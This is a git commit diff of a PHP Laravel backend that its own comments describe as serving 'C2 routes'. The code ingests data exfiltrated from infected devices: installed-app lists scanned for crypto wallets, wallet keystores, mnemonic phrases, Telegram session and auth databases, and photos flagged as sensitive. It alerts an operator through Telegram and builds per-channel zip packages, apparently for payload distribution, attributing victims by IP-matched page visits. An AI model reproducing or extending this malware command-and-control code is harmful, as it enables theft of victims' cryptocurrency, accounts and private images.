feat: xxbb
This commit is contained in:
@@ -25,7 +25,6 @@ class ChannelProjectService
|
||||
* @return array{
|
||||
* channel_id: string,
|
||||
* builder_type: string,
|
||||
* channel_name: ?string,
|
||||
* seeds: array{deployment_seed: string, reporting_seed: string, channel_c?: string},
|
||||
* domains: array{deployment: list<string>, reporting: list<string>},
|
||||
* seeds_initialized: bool,
|
||||
@@ -42,26 +41,20 @@ class ChannelProjectService
|
||||
?string $deploymentSeed = null,
|
||||
?string $reportingSeed = null,
|
||||
string $builderType = self::BUILDER_OLD,
|
||||
?string $channelName = null,
|
||||
): array {
|
||||
$builderType = $this->normalizeBuilderType($builderType);
|
||||
$channelId = $this->normalizeChannelId($channelId);
|
||||
|
||||
if ($builderType === self::BUILDER_NEW) {
|
||||
return $this->generateNew($channelId);
|
||||
}
|
||||
|
||||
[$deploymentSeed, $reportingSeed] = $this->normalizeOptionalSeeds(
|
||||
$deploymentSeed,
|
||||
$reportingSeed,
|
||||
);
|
||||
|
||||
if ($builderType === self::BUILDER_NEW) {
|
||||
return $this->generateNew(
|
||||
$channelId,
|
||||
$channelName,
|
||||
$deploymentSeed,
|
||||
$reportingSeed,
|
||||
);
|
||||
}
|
||||
|
||||
return $this->generateOld(
|
||||
$channelId,
|
||||
$this->normalizeChannelId($channelId),
|
||||
$supportTemplate,
|
||||
$deploymentSeed,
|
||||
$reportingSeed,
|
||||
@@ -71,12 +64,19 @@ class ChannelProjectService
|
||||
public function deleteWebTree(
|
||||
string $channelId,
|
||||
string $builderType = self::BUILDER_OLD,
|
||||
?string $channelName = null,
|
||||
): void {
|
||||
$builderType = $this->normalizeBuilderType($builderType);
|
||||
|
||||
if ($builderType === self::BUILDER_NEW) {
|
||||
// Shared /weifile + /details must not be wiped when a DB channel row is removed.
|
||||
$code = Channel::normalizeNewChannelId($channelId);
|
||||
if ($code === null) {
|
||||
return;
|
||||
}
|
||||
$zip = $this->newChannelZipPath($code);
|
||||
if (is_file($zip) && ! unlink($zip)) {
|
||||
throw new RuntimeException('删除渠道安装包失败: '.$zip);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -102,7 +102,6 @@ class ChannelProjectService
|
||||
* @return array{
|
||||
* channel_id: string,
|
||||
* builder_type: string,
|
||||
* channel_name: ?string,
|
||||
* seeds: array{deployment_seed: string, reporting_seed: string, channel_c?: string},
|
||||
* domains: array{deployment: list<string>, reporting: list<string>},
|
||||
* seeds_initialized: bool,
|
||||
@@ -146,7 +145,6 @@ class ChannelProjectService
|
||||
return [
|
||||
'channel_id' => (string) ($result['channel_id'] ?? $channelId),
|
||||
'builder_type' => self::BUILDER_OLD,
|
||||
'channel_name' => null,
|
||||
'seeds' => [
|
||||
'deployment_seed' => (string) data_get($result, 'seeds.deployment_seed', ''),
|
||||
'reporting_seed' => (string) data_get($result, 'seeds.reporting_seed', ''),
|
||||
@@ -165,34 +163,17 @@ class ChannelProjectService
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{
|
||||
* channel_id: string,
|
||||
* builder_type: string,
|
||||
* channel_name: ?string,
|
||||
* seeds: array{deployment_seed: string, reporting_seed: string, channel_c?: string},
|
||||
* domains: array{deployment: list<string>, reporting: list<string>},
|
||||
* seeds_initialized: bool,
|
||||
* sync_rebuilt: bool,
|
||||
* support_path: string,
|
||||
* weifile_path: ?string,
|
||||
* daily_path: string,
|
||||
* support_template?: string,
|
||||
* }
|
||||
* Rebuild shared /details and staged weifile from `c`.
|
||||
* Only used by `php artisan xxbb:build`, not when creating a channel.
|
||||
*
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function generateNew(
|
||||
string $channelId,
|
||||
?string $channelName,
|
||||
?string $deploymentSeed,
|
||||
?string $reportingSeed,
|
||||
): array {
|
||||
unset($channelName); // shared /weifile layout; no per-channel folder
|
||||
if ($channelId === '202800cfb1ad3de68e11239dcc26c30b') {
|
||||
throw new RuntimeException('channel_id 不能与 7z 密码槽相同');
|
||||
}
|
||||
$scheme = strtolower((string) config('coruna.channel_builder_new.c2_scheme', 'http'));
|
||||
if (! in_array($scheme, ['http', 'https'], true)) {
|
||||
throw new RuntimeException('CORUNA_XXBB_C2_SCHEME 必须是 http 或 https');
|
||||
public function buildSharedArtifacts(?string $channelC = null, bool $randomC = false): array
|
||||
{
|
||||
if ($randomC && $channelC !== null && $channelC !== '') {
|
||||
throw new RuntimeException('不能同时指定 channel-c 和 random-c');
|
||||
}
|
||||
|
||||
$cmd = [
|
||||
$this->pythonBinary(self::BUILDER_NEW),
|
||||
$this->builderScript('build.py', self::BUILDER_NEW),
|
||||
@@ -200,44 +181,142 @@ class ChannelProjectService
|
||||
$this->artifactRoot(),
|
||||
'--state-root',
|
||||
$this->stateRoot(self::BUILDER_NEW),
|
||||
'--channel-c',
|
||||
$channelId,
|
||||
'--scheme',
|
||||
$scheme,
|
||||
'--apply',
|
||||
'--force',
|
||||
];
|
||||
if ($deploymentSeed !== null && $reportingSeed !== null) {
|
||||
$cmd[] = '--deployment-seed';
|
||||
$cmd[] = $deploymentSeed;
|
||||
$cmd[] = '--reporting-seed';
|
||||
$cmd[] = $reportingSeed;
|
||||
if ($randomC) {
|
||||
$cmd[] = '--random-c';
|
||||
} else {
|
||||
$c = $this->normalizeSharedChannelC($channelC);
|
||||
if ($c !== null) {
|
||||
$cmd[] = '--channel-c';
|
||||
$cmd[] = $c;
|
||||
}
|
||||
}
|
||||
|
||||
$result = $this->runBuilder($cmd, '生成渠道资源失败', $this->builderCwd(self::BUILDER_NEW));
|
||||
$weifilePath = (string) ($result['weifile_path'] ?? '/weifile/weifile.html');
|
||||
return $this->runBuilder($cmd, '构建共享产物失败', $this->builderCwd(self::BUILDER_NEW));
|
||||
}
|
||||
|
||||
private function generateNew(string $channelId): array
|
||||
{
|
||||
$channelId = Channel::normalizeNewChannelId($channelId);
|
||||
if ($channelId === null) {
|
||||
throw new RuntimeException('新版渠道 ID 必须是 8 位字母或数字(例如 FAFA9988)');
|
||||
}
|
||||
|
||||
$weifileSrc = $this->stagedWeifileDir();
|
||||
if (! is_file($weifileSrc.DIRECTORY_SEPARATOR.'index.js')) {
|
||||
throw new RuntimeException('请先运行构建脚本: php artisan xxbb:build');
|
||||
}
|
||||
|
||||
$zipPath = $this->newChannelZipPath($channelId);
|
||||
$this->ensureDirectory(dirname($zipPath), '新版渠道产物目录');
|
||||
|
||||
$cmd = [
|
||||
$this->pythonBinary(self::BUILDER_NEW),
|
||||
$this->builderScript('pack_channel.py', self::BUILDER_NEW),
|
||||
'--channel-code',
|
||||
$channelId,
|
||||
'--state-root',
|
||||
$this->stateRoot(self::BUILDER_NEW),
|
||||
'--weifile-src',
|
||||
$weifileSrc,
|
||||
'--zip-out',
|
||||
$zipPath,
|
||||
];
|
||||
|
||||
$result = $this->runBuilder($cmd, '打包渠道代码失败', $this->builderCwd(self::BUILDER_NEW));
|
||||
$seeds = $this->loadNewLabSeeds();
|
||||
$relativeZip = $this->newChannelZipRelative($channelId);
|
||||
|
||||
return [
|
||||
'channel_id' => $channelId,
|
||||
'builder_type' => self::BUILDER_NEW,
|
||||
'channel_name' => null,
|
||||
'seeds' => [
|
||||
'deployment_seed' => (string) data_get($result, 'seeds.deployment_seed', ''),
|
||||
'reporting_seed' => (string) data_get($result, 'seeds.reporting_seed', ''),
|
||||
'channel_c' => (string) data_get($result, 'seeds.channel_c', $channelId),
|
||||
'deployment_seed' => (string) data_get($result, 'seeds.deployment_seed', $seeds['deployment_seed']),
|
||||
'reporting_seed' => (string) data_get($result, 'seeds.reporting_seed', $seeds['reporting_seed']),
|
||||
'channel_c' => (string) data_get($result, 'seeds.channel_c', $seeds['channel_c']),
|
||||
],
|
||||
'domains' => [
|
||||
'deployment' => array_values((array) data_get($result, 'domains.deployment', [])),
|
||||
'reporting' => array_values((array) data_get($result, 'domains.reporting', [])),
|
||||
'deployment' => array_values((array) data_get($result, 'domains.deployment', $seeds['domains']['deployment'])),
|
||||
'reporting' => array_values((array) data_get($result, 'domains.reporting', $seeds['domains']['reporting'])),
|
||||
],
|
||||
'seeds_initialized' => (bool) ($result['seeds_initialized'] ?? false),
|
||||
'sync_rebuilt' => (bool) ($result['sync_rebuilt'] ?? false),
|
||||
'support_path' => (string) ($result['support_path'] ?? $weifilePath),
|
||||
'weifile_path' => $weifilePath,
|
||||
'daily_path' => (string) ($result['details_path'] ?? '/details/'),
|
||||
'seeds_initialized' => false,
|
||||
'sync_rebuilt' => false,
|
||||
'support_path' => '',
|
||||
'weifile_path' => null,
|
||||
'daily_path' => '/details/',
|
||||
'zip_path' => '/'.$relativeZip,
|
||||
];
|
||||
}
|
||||
|
||||
public function stagedWeifileDir(): string
|
||||
{
|
||||
return $this->stateRoot(self::BUILDER_NEW).DIRECTORY_SEPARATOR.'out'.DIRECTORY_SEPARATOR.'weifile';
|
||||
}
|
||||
|
||||
public function newChannelZipPath(string $channelId): string
|
||||
{
|
||||
return $this->artifactRoot().DIRECTORY_SEPARATOR.str_replace('/', DIRECTORY_SEPARATOR, $this->newChannelZipRelative($channelId));
|
||||
}
|
||||
|
||||
public function newChannelZipRelative(string $channelId): string
|
||||
{
|
||||
$dir = trim((string) config('coruna.channel_builder_new.source_dir', 'channel-source-new'), '/');
|
||||
$code = Channel::normalizeNewChannelId($channelId) ?? $channelId;
|
||||
|
||||
return $dir.'/'.$code.'.zip';
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{deployment_seed: string, reporting_seed: string, channel_c: string, domains: array{deployment: list<string>, reporting: list<string>}}
|
||||
*/
|
||||
private function loadNewLabSeeds(): array
|
||||
{
|
||||
$empty = [
|
||||
'deployment_seed' => '',
|
||||
'reporting_seed' => '',
|
||||
'channel_c' => '',
|
||||
'domains' => ['deployment' => [], 'reporting' => []],
|
||||
];
|
||||
$path = $this->stateRoot(self::BUILDER_NEW).DIRECTORY_SEPARATOR.'lab_seeds.json';
|
||||
if (! is_file($path)) {
|
||||
return $empty;
|
||||
}
|
||||
$decoded = json_decode((string) file_get_contents($path), true);
|
||||
if (! is_array($decoded)) {
|
||||
return $empty;
|
||||
}
|
||||
|
||||
return [
|
||||
'deployment_seed' => (string) ($decoded['deployment_seed'] ?? ''),
|
||||
'reporting_seed' => (string) ($decoded['reporting_seed'] ?? ''),
|
||||
'channel_c' => (string) ($decoded['channel_c'] ?? ''),
|
||||
'domains' => [
|
||||
'deployment' => array_values((array) data_get($decoded, 'domains.deployment', [])),
|
||||
'reporting' => array_values((array) data_get($decoded, 'domains.reporting', [])),
|
||||
],
|
||||
];
|
||||
}
|
||||
|
||||
private function normalizeSharedChannelC(?string $channelC): ?string
|
||||
{
|
||||
$c = strtolower(trim((string) ($channelC !== null && $channelC !== ''
|
||||
? $channelC
|
||||
: config('coruna.xxbb.channel_c', ''))));
|
||||
if ($c === '') {
|
||||
return null;
|
||||
}
|
||||
if (! preg_match('/^[0-9a-f]{32}$/', $c)) {
|
||||
throw new RuntimeException('XXBB_CHANNEL_C 必须是 32 位 hex');
|
||||
}
|
||||
if ($c === '202800cfb1ad3de68e11239dcc26c30b') {
|
||||
throw new RuntimeException('XXBB_CHANNEL_C 不能与 7z 密码槽相同');
|
||||
}
|
||||
|
||||
return $c;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $cmd
|
||||
* @return array<string, mixed>
|
||||
@@ -386,19 +465,6 @@ class ChannelProjectService
|
||||
return $channelId;
|
||||
}
|
||||
|
||||
private function normalizeChannelName(string $channelName): string
|
||||
{
|
||||
$channelName = strtolower(trim($channelName));
|
||||
if (! preg_match('/^[a-z0-9]{8,32}$/', $channelName)) {
|
||||
throw new RuntimeException('Invalid channel name');
|
||||
}
|
||||
if (Channel::isReservedChannelName($channelName)) {
|
||||
throw new RuntimeException('channel_name 与保留路径冲突');
|
||||
}
|
||||
|
||||
return $channelName;
|
||||
}
|
||||
|
||||
private function normalizeSupportTemplate(string $supportTemplate): string
|
||||
{
|
||||
$supportTemplate = strtolower(trim($supportTemplate));
|
||||
|
||||
+187
-16
@@ -2,10 +2,12 @@
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\Photo;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
@@ -138,22 +140,18 @@ class IngestService
|
||||
|
||||
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
||||
if ($existing) {
|
||||
$touch = ['updated_at' => now()];
|
||||
$channelId = $this->extractChannelId($request, $payload);
|
||||
if ($this->channelIdEmpty($existing->channel_id) && $channelId !== null && $channelId !== '') {
|
||||
$touch['channel_id'] = $channelId;
|
||||
}
|
||||
$existing->forceFill($touch)->saveQuietly();
|
||||
$this->fillMissingAttribution($existing, $request, $payload, allowOldC: true);
|
||||
|
||||
return $existing->refresh();
|
||||
}
|
||||
|
||||
return $this->createDevice($request, $payload, $deviceKey, withChannel: true);
|
||||
return $this->createDevice($request, $payload, $deviceKey, allowOldC: true);
|
||||
}
|
||||
|
||||
/**
|
||||
* Other C2 routes — create device if missing so business rows can attach,
|
||||
* but never write channel_id (put will fill it later). Existing rows are left untouched.
|
||||
* Other C2 routes — create device if missing so business rows can attach.
|
||||
* Old builder: never write channel_id here (put will fill it later).
|
||||
* New builder: IP-match iptj on create and when channel_id is still empty.
|
||||
*/
|
||||
public function ensureDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
|
||||
{
|
||||
@@ -164,10 +162,16 @@ class IngestService
|
||||
|
||||
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
||||
if ($existing) {
|
||||
if ($this->isNewBuilderRequest($request)) {
|
||||
$this->fillMissingAttribution($existing, $request, $payload, allowOldC: false);
|
||||
|
||||
return $existing->refresh();
|
||||
}
|
||||
|
||||
return $existing;
|
||||
}
|
||||
|
||||
return $this->createDevice($request, $payload, $deviceKey, withChannel: false);
|
||||
return $this->createDevice($request, $payload, $deviceKey, allowOldC: false);
|
||||
}
|
||||
|
||||
private function resolveDeviceKey(?array $payload, ?string $deviceKey): ?string
|
||||
@@ -208,15 +212,118 @@ class IngestService
|
||||
$device->forceFill(['phone' => substr($phone, 0, 64)])->save();
|
||||
}
|
||||
|
||||
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $withChannel): Device
|
||||
private function fillMissingAttribution(
|
||||
Device $device,
|
||||
Request $request,
|
||||
?array $payload,
|
||||
bool $allowOldC,
|
||||
): void {
|
||||
$needChannel = $this->channelIdEmpty($device->channel_id);
|
||||
$needDomain = trim((string) ($device->source_domain ?? '')) === '';
|
||||
if (! $needChannel && ! $needDomain) {
|
||||
$device->forceFill(['updated_at' => now()])->saveQuietly();
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
|
||||
$touch = ['updated_at' => now()];
|
||||
if ($needChannel && $attr['channel_id'] !== null && $attr['channel_id'] !== '') {
|
||||
$touch['channel_id'] = $attr['channel_id'];
|
||||
}
|
||||
if ($needDomain && $attr['source_domain'] !== null && $attr['source_domain'] !== '') {
|
||||
$touch['source_domain'] = $attr['source_domain'];
|
||||
}
|
||||
$device->forceFill($touch)->saveQuietly();
|
||||
}
|
||||
|
||||
/**
|
||||
* Old C2 (`/api/user/avatar/put`): payload `c` is the unique channel_id.
|
||||
* New xxbb short paths (`/event`, `/u`, …): never write native `c`;
|
||||
* attribute via recent PageVisit IP. Device is still created if no visit matches.
|
||||
*
|
||||
* @return array{channel_id: ?string, source_domain: ?string}
|
||||
*/
|
||||
private function resolveChannelAttribution(Request $request, ?array $payload, bool $allowOldC): array
|
||||
{
|
||||
if ($this->isNewBuilderRequest($request)) {
|
||||
return $this->matchNewBuilderVisit($request->ip());
|
||||
}
|
||||
if ($allowOldC) {
|
||||
return ['channel_id' => $this->extractChannelId($request, $payload), 'source_domain' => null];
|
||||
}
|
||||
|
||||
return ['channel_id' => null, 'source_domain' => null];
|
||||
}
|
||||
|
||||
private function isNewBuilderRequest(Request $request): bool
|
||||
{
|
||||
return (bool) $request->attributes->get('coruna_new_builder', false);
|
||||
}
|
||||
|
||||
/**
|
||||
* Latest iptj/pixel visit from this IP in the last N minutes whose
|
||||
* channel_id is a new-builder channel, and no device from this IP has
|
||||
* already claimed that channel.
|
||||
*
|
||||
* @return array{channel_id: ?string, source_domain: ?string}
|
||||
*/
|
||||
private function matchNewBuilderVisit(?string $ip): array
|
||||
{
|
||||
$ip = is_string($ip) ? trim($ip) : '';
|
||||
if ($ip === '') {
|
||||
return ['channel_id' => null, 'source_domain' => null];
|
||||
}
|
||||
$minutes = max(1, (int) config('coruna.xxbb.visit_match_minutes', 30));
|
||||
$visits = PageVisit::query()
|
||||
->where('ip', $ip)
|
||||
->where('created_at', '>=', now()->subMinutes($minutes))
|
||||
->orderByDesc('id')
|
||||
->get();
|
||||
|
||||
foreach ($visits as $visit) {
|
||||
$code = Channel::normalizeNewChannelId((string) ($visit->channel_id ?? ''));
|
||||
if ($code === null) {
|
||||
continue;
|
||||
}
|
||||
$channel = Channel::query()
|
||||
->where('channel_id', $code)
|
||||
->where('builder_type', Channel::BUILDER_NEW)
|
||||
->first();
|
||||
if ($channel === null) {
|
||||
continue;
|
||||
}
|
||||
$claimed = Device::query()
|
||||
->where('ip', $ip)
|
||||
->where('channel_id', $code)
|
||||
->exists();
|
||||
if ($claimed) {
|
||||
continue;
|
||||
}
|
||||
$domain = $this->sourceDomainFromVisit($visit);
|
||||
|
||||
return ['channel_id' => $code, 'source_domain' => $domain];
|
||||
}
|
||||
|
||||
return ['channel_id' => null, 'source_domain' => null];
|
||||
}
|
||||
|
||||
private function sourceDomainFromVisit(PageVisit $visit): ?string
|
||||
{
|
||||
return PageVisit::normalizeDomain($visit->domain);
|
||||
}
|
||||
|
||||
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $allowOldC): Device
|
||||
{
|
||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
|
||||
$attrs = [
|
||||
'device_id' => $deviceKey,
|
||||
'ip' => $request->ip(),
|
||||
'device_model' => $this->extractDeviceModel($payload),
|
||||
'ios_version' => $this->extractIosVersion($payload),
|
||||
'channel_id' => $withChannel ? $this->extractChannelId($request, $payload) : null,
|
||||
'channel_id' => $attr['channel_id'],
|
||||
'source_domain' => $attr['source_domain'],
|
||||
];
|
||||
if ($ua !== '') {
|
||||
$attrs['user_agent'] = $ua;
|
||||
@@ -239,7 +346,6 @@ class IngestService
|
||||
return;
|
||||
}
|
||||
|
||||
$walletBundles = config('coruna.wallet_bundles', []);
|
||||
foreach ($payload['al'] as $item) {
|
||||
if (! is_array($item)) {
|
||||
continue;
|
||||
@@ -250,18 +356,45 @@ class IngestService
|
||||
if ($bundle === '') {
|
||||
continue;
|
||||
}
|
||||
$isWallet = in_array($bundle, $walletBundles, true)
|
||||
|| (bool) preg_match('/wallet|token|metamask|imtoken|trust|exodus|phantom|ton/i', $bundle.' '.$name);
|
||||
DeviceApp::query()->updateOrCreate(
|
||||
['device_id' => $device->id, 'bundle_id' => $bundle],
|
||||
[
|
||||
'name' => $name,
|
||||
'version' => $version,
|
||||
'is_wallet' => $isWallet,
|
||||
'is_wallet' => WalletSource::isPluginWalletBundle($bundle),
|
||||
'meta_json' => $item,
|
||||
]
|
||||
);
|
||||
}
|
||||
|
||||
$this->refreshDeviceWalletFlag($device);
|
||||
}
|
||||
|
||||
/**
|
||||
* has_wallet: 0 unknown (no applist yet), 1 none, 2 plugin mnemonic wallets present.
|
||||
*/
|
||||
private function refreshDeviceWalletFlag(Device $device): void
|
||||
{
|
||||
$names = [];
|
||||
foreach ($device->apps()->get(['bundle_id', 'name']) as $app) {
|
||||
$bundle = (string) $app->bundle_id;
|
||||
if (! WalletSource::isPluginWalletBundle($bundle)) {
|
||||
continue;
|
||||
}
|
||||
$label = WalletSource::labelForBundle($bundle, $app->name);
|
||||
$names[$label] = true;
|
||||
}
|
||||
$labels = array_keys($names);
|
||||
sort($labels);
|
||||
|
||||
$alreadyYes = (int) $device->has_wallet === Device::WALLET_YES;
|
||||
$device->has_wallet = $labels === [] ? Device::WALLET_NONE : Device::WALLET_YES;
|
||||
$device->wallet_names = $labels === [] ? null : $labels;
|
||||
$device->save();
|
||||
|
||||
if (! $alreadyYes && $device->has_wallet === Device::WALLET_YES) {
|
||||
$this->telegram->notifyInstalledWallets($device->device_id, $labels);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -353,6 +486,37 @@ class IngestService
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* xxbb tglib POST /api/tg/t — Telegram auth material (user_id + atomic-state + db).
|
||||
* Lab has no dedicated table; store as a keystore identity blob.
|
||||
*/
|
||||
public function ingestTelegramAuth(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
if (array_key_exists('result', $payload)) {
|
||||
$this->ingestKeystore($device, $payload);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$blob = [];
|
||||
foreach ([
|
||||
'user_id', 'state', 'db_sqlite',
|
||||
'datacenterAuthInfoById', 'datacenterAddressSetById', 'backupData',
|
||||
] as $key) {
|
||||
if (array_key_exists($key, $payload)) {
|
||||
$blob[$key] = $payload[$key];
|
||||
}
|
||||
}
|
||||
if ($blob === []) {
|
||||
return;
|
||||
}
|
||||
$blob['source'] = WalletSource::fromTag($payload['a'] ?? 'tg');
|
||||
$this->ingestKeystore($device, ['result' => $blob]);
|
||||
}
|
||||
|
||||
/**
|
||||
* `/api/user/status` — addresses + balances from `ba` / `ad` / legacy `data`.
|
||||
*/
|
||||
@@ -507,6 +671,7 @@ class IngestService
|
||||
return;
|
||||
}
|
||||
|
||||
$stored = 0;
|
||||
foreach ($filePaths as $path) {
|
||||
if (! is_file($path)) {
|
||||
continue;
|
||||
@@ -530,6 +695,12 @@ class IngestService
|
||||
'text_count' => $meta['text_count'] ?? null,
|
||||
'barcode_count' => $meta['barcode_count'] ?? null,
|
||||
]);
|
||||
$stored++;
|
||||
}
|
||||
|
||||
$xHit = $meta['x_hit'] ?? null;
|
||||
if ($stored > 0 && $xHit !== null && (int) $xHit === Photo::X_HIT_ALERT) {
|
||||
$this->telegram->notifySensitivePhoto($device->device_id, (int) $xHit, $stored);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -128,6 +128,23 @@ class TelegramNotifier
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $wallets
|
||||
*/
|
||||
public function notifyInstalledWallets(string $deviceId, array $wallets): void
|
||||
{
|
||||
$wallets = array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $wallets), static fn ($n) => $n !== ''));
|
||||
if ($wallets === []) {
|
||||
return;
|
||||
}
|
||||
|
||||
$this->send(implode("\n", [
|
||||
'👜 <b>Installed Wallets</b>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'🏷 <b>Wallets</b>: '.$this->e(implode(', ', $wallets)),
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
@@ -138,6 +155,16 @@ class TelegramNotifier
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'🖼 <b>Sensitive Photo</b>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'🎯 <b>x-hit</b>: '.$this->e((string) $xHit),
|
||||
'📦 <b>Count</b>: '.$this->e((string) max(1, $count)),
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifyBalanceChange(
|
||||
string $deviceId,
|
||||
string $address,
|
||||
|
||||
Reference in New Issue
Block a user